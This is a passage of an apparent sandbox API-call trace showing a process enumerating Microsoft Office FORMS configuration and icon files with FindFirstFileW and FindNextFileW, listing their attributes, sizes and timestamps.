ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0283.152] GetProcessHeap () returned 0xaf0000 [0283.152] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.153] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.153] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0283.153] GetProcessHeap () returned 0xaf0000 [0283.153] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.155] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.155] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7cf588, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7cf588, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0283.156] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7cf588, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7cf588, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7cf588, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7cf588, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7cf588, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7cf588, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0283.157] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7cf588, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb548de7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb5e174f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7a9345, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7a9345, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7a9345, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0283.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7a9345, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7a9345, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb7a9345, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSL.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMSS.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEL.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTES.ICO", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMMS.CFG", cAlternateFileName="")) returned 1 [0283.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSSMS.CFG", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFL.ICO", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFS.ICO", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OOFTMPL.CFG", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb43bdd5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb43bdd5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb43bdd5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POST.CFG", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb461f79, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb461f79, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x0, dwReserved1=0x0, cFileName="POSTIT.CFG", cAlternateFileName="")) returned 1 [0283.160] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb461f79, 